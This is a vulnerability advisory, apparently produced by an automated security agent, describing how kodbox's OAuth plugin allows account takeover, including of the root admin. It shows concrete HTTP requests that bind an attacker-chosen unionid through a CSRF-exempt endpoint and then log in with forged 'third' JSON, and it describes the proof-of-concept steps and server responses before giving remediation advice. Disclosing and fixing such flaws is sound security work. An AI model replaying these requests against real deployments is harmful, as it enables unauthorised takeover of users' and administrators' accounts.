【CVE-2026-4590】Pre-Auth OAuth third Parameter Forgery plus CSRF-Bindable unionid Leading to Arbitrary Account Takeover
Vulnerability ID: VPLUS-2026-14182
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: Critical
Vulnerability Type: V08 – Logic Vulnerability
Authentication: Pre-Auth (login endpoint exploitable without prior authentication, once a binding exists)
Confidence: 99%
Status: Confirmed
CVSS: 9.6
CVE: –
Discovery Time: 2026-03-02 02:28:20
Affected Components / Endpoints
File:
/workspace/source-code/plugins/oauth/controller/bind/index.class.phpFunctions:
bind,bindWithApp,bindDisplay,isBind,loginWithThirdLogin endpoint:
POST /?user/index/loginSubmit(parameterthird)
OAuth bind endpoint:
POST /?plugin/oauth/bind&method=bind(no CSRF protection, plugin module globally CSRF-exempt)
Technical Description / Root Cause
The OAuth login/bind flow in kodbox suffers from multiple business logic flaws that together enable arbitrary account takeover, including the built-in administrator (userID=1, isRoot=1).
Client-controlled
thirddata is blindly trusted on login:The normal login API
user/index/loginSubmitsupports athirdparameter containing JSON such as:<JSON>{"type":"github","openid":"...","unionid":"...","nickName":"...","sex":1,"avatar":""}Passing this parameter directly triggers the third-party login flow
user.bind.withApp→loginWithThird.In
plugins/oauth,bindWithApp → bindDisplay → isBindonly checks the database for a match ontype/unionid.If a record is found, it calls
loginSuccessUpdateand logs the user in, without any:server-side signature / MAC validation,
state/nonce checking,
verification of a real third-party OAuth authorization code or token,
binding to an earlier validated callback.
As a result, any unauthenticated client can forge an arbitrary
thirdJSON and, if thattype/unionidis already bound to some account, immediately log in as that account.plugin/oauth/bindallows arbitrary binding of attacker-chosen unionid/openid:The endpoint
/?plugin/oauth/bind&method=bindis available in an authenticated session and accepts:type,openid,unionid,nickName,sex,avatar
It does not require:
a CSRF token,
a verified third-party OAuth callback or signed assertion,
Origin/Referer validation.
The plugin module is globally exempted from the CSRF filter, so this endpoint is CSRFable via a simple GET/POST from a malicious site.
The server simply trusts the client-supplied
openid/unionidand binds them to the currently logged-in account, returning “绑定成功!”.
Combined effect – arbitrary account takeover:
Because
bindlets an attacker (or a CSRF attack) bind any attacker-chosenunionidto a victim account, andloginSubmit+loginWithThirdlater log in solely based onthirdJSON matching thatunionidin the DB,
an attacker can:
First get their own
unionidbound to a target account (e.g.,admin) by:CSRFing a logged-in victim to call
plugin/oauth/bind&method=bindwith attacker-chosenopenid/unionid, orUsing any access to a valid authenticated session of that victim (insider, stolen session, etc.) to call
binddirectly.
Then, from an unauthenticated state, call
user/index/loginSubmitwith a forgedthirdJSON containing the sametype/unionidand be logged in as the victim account without knowing any password or possessing any real third-party OAuth token.
The supplemental verification on 2026-03-08 further shows that CSRF is not the core requirement: any ability to call
plugin/oauth/bind&method=bindin a victim’s authenticated session is enough to plant an arbitraryunionid, after which pre-auththirdforgery suffices for takeover.
Attack Vector
High-level attack steps:
Bind attacker-controlled third-party identity to victim account
Victim is logged in (or attacker has access to a victim’s authenticated session). The attacker triggers:
<HTTP>POST /?plugin/oauth/bind&method=bindCookie: <victim-session-cookie>type=github&openid=oid-v22-admin&unionid=uid-v22-admin&nickName=admin-gh&sex=1&avatar=No CSRF token is required.
No verification of a real OAuth callback or signed assertion.
The response is
"code": true, "data": "绑定成功!"indicating theunionidis now linked to the victim’s account.
Log out the victim session (optional)
<HTTP>GET /?user/index/logoutCookie: <victim-session-cookie>Unauthenticated login with forged
thirdJSONFrom a fresh, unauthenticated client:
<HTTP>POST /?user/index/loginSubmitContent-Type: application/x-www-form-urlencodedthird={"type":"github","openid":"oid-v22-admin","unionid":"uid-v22-admin","nickName":"admin-gh","sex":1,"avatar":""}Server calls
loginWithThird, matchestype=github, unionid=uid-v22-adminto the previously bound record, and issues a valid access token for that account (data="ok",info=<accessToken>).
Confirm account takeover
With that token:
<HTTP>GET /?user/view/options&accessToken=<forged_token>The response shows:
<JSON>{"data": {"user": {"userID": 1,"isRoot": 1,"info": {"name": "admin"}}}}confirming successful takeover of the admin account.
PoC (Confirmed)
The provided PoC script:
Logs in as
adminand saves the session.Calls
POST /?plugin/oauth/bind&method=bindwith arbitrarytype=github,openid=oid-v22-admin,unionid=uid-v22-admin, etc., receiving:<JSON>{ "code": true, "data": "绑定成功!" }Logs out the admin session.
From a new unauthenticated session, calls
POST /?user/index/loginSubmitwith:<JSON>third={"type":"github","openid":"oid-v22-admin","unionid":"uid-v22-admin",...}and receives:
<JSON>{ "code": true, "data": "ok", "info": "<accessToken>" }Uses that token in
GET /?user/view/optionsand confirms:<TEXT>{'userID': 1, 'name': 'admin', 'isRoot': 1}
This demonstrates a full account takeover of the root administrator via forged OAuth identity.
Impact
Arbitrary account session takeover, including:
Administrator (
userID=1,isRoot=1).Any other user once a binding is planted.
No password or real OAuth credentials required once
unionidis bound:Login becomes a pure matter of forging client-side JSON.
Pre-auth exploitability:
The final login step is unauthenticated and based solely on
thirdJSON and DB binding.
CSRF amplifies exploitability:
Because
plugin/oauth/bindis CSRFable and the plugin module is CSRF-exempt, an attacker can bind their ownunionidto a victim account simply by luring the victim to open a malicious page while logged in.
Privilege escalation:
Takeover of admin/root accounts leads to complete control over the application (data access, configuration, further RCE if other features are abused).
Duplicate Check
A duplicate search using:
GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14182
and an additional filter on vuln_type_code=V08 found no existing vulnerability with the same affected paths or attack vector (i.e., plugin/oauth/bind CSRF-bindable unionid + user/index/loginSubmit third forgery).
Therefore, this issue is considered unique and not a duplicate.
Remediation Recommendations
Do not trust client-supplied
thirddata:bindWithAppmust not accept rawtype/openid/unionidfrom the front end as proof of identity.Require a server-verified assertion from a trusted back-end service (e.g., OAuth provider callback result), including:
Signature/mac,
Timestamp and expiration,
Nonce,
Audience/issuer, and
Binding to the current session/user.
Harden third-party login (
loginWithThird/loginSubmit):user/index/loginWithThirdor any third-party login hook must:Only succeed if a back-end verification step has positively validated a real OAuth code/token with the third-party provider and mapped it to a user ID.
Never log in solely based on the presence of a
type/unionidpair in the DB that came from the client.
Secure
plugin/oauth/bind:Enforce POST only.
Require a CSRF token and ensure the plugin module is not globally exempt from the CSRF filter.
Add Origin/Referer and SameSite cookie checks to prevent CSRF.
Treat
bindas a sensitive operation that cannot be driven only by front-end parameters.
Require verifiable third-party evidence for binding (
bind&method=bind):For logged-in users, binding
openid/unionidmust:Be derived from a verified third-party OAuth callback handled server-side, not from arbitrary client inputs.
Optionally require user re-authentication or step-up verification (e.g., password re-entry, 2FA) for high-privilege accounts.
Monitoring and secondary controls:
Implement:
Audit logs for all OAuth bindings/unbindings (including IP, device, and time).
Alerts for suspicious events (e.g., new
unionidbound to admin account, or frequent bind/unbind cycles).
Notify users (email/notification) when a new third-party account is bound to their profile and provide a simple way to revoke it.